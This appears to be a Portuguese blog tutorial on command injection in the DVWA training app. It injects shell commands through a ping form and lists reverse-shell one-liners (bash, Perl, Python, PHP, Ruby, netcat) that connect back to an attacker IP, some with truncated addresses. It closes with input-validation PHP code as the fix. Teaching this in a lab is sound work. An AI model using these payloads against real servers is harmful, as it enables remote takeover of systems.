Vulnerabilidade de execução de códigos em sites (DVWA)




Nesse artigo pretendo demonstrar como funciona uma famosa vulnerabilidade que hackers podem utilizar para executar codigos em um site. Farei uma demonstração com o site DVWA para entedermos como essa vulnerabilidade pode ser utilizada e trarei como evitar.

Podemos utilizar um comando para controlar o site, por exemplo nesse site temos um local em que podemos fazer o comando para fazer ping em qualquer local.



No linux podemos utilizar ; para executar dois comandos

vamos testar e fazer o ping e ;pwd
com o Site DVWA em low security

ping 10.20.14.203 ;pwd


Podemos ver que foi feito o ping e também rodou o comando pwd, achamos a vulnerabilidade.

Agora vamos explorar essa vulnerabilidade

Lista de comandos para conseguir reverse connection com o computador alvo.



#Os exemplos abaixo assumem que o Hacker tenha o IP is 10.20.14 e usa a #porta 8080 para conexão.

#De qualquer forma, precisa ouvir a porta 8080 Usando o seguinte comando

nc -vv -l -p 8080

BASH
bash -i >& /dev/tcp/10.20.14.203/8080 0>&1

PERL
perl -e 'use Socket;$i="10.20.14";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.20.14",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP
php -r '$sock=fsockopen("10.20.14",8080);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby
ruby -rsocket -e'f=TCPSocket.open("10.20.14",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat
nc -e /bin/sh 10.20.14 8080

Vamos usar o Netcat para ouvir e conectar com outro computador, em nosso computador digitamos

nc -vv -l -p 8080
nc = netcat
- vv = ver se há algo errado
-l = listen
-p = port


Agora vamos conectar pelo webserver, assumimos que ele tenha Netcat, e rodamos o comando de Netcat após a solicitação de Ping

10.20.14.203; nc -e /bin/sh 10.20.14.203 8080

Voltando ao Kali, vemos que recebemos a conexão


Aumentando a dificuldade para mais dificil


No exemplo passado fizemos a utilização do comando ; que roda os dois comandos
Agora vamos testar com o comando | que roda apenas um comando


Vamos testar:


Funcionou :)

Segurança

Para resolver esse problema devemos arrumar no código do site impossibilitando-o de enviar algum comando

Pode se utilizar um Regex para que o Input seja somente o que queremos
Usar a função explode()
e verificar se todos os resultados são números

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );

// Split the IP into 4 octects
$octet = explode( ".", $target );

// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping  ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping  -c 4 ' . $target );
}

// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
$html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Comentários

Mais visitadas

Usando GPU para Brute-Force com HashCat

Ataque Evil Twin

XSS - Cross-site scripting

Man-in-the-Middle e MITMf - DNS Spoofing e suas defesas

Mitmproxy 1 - Conhecendo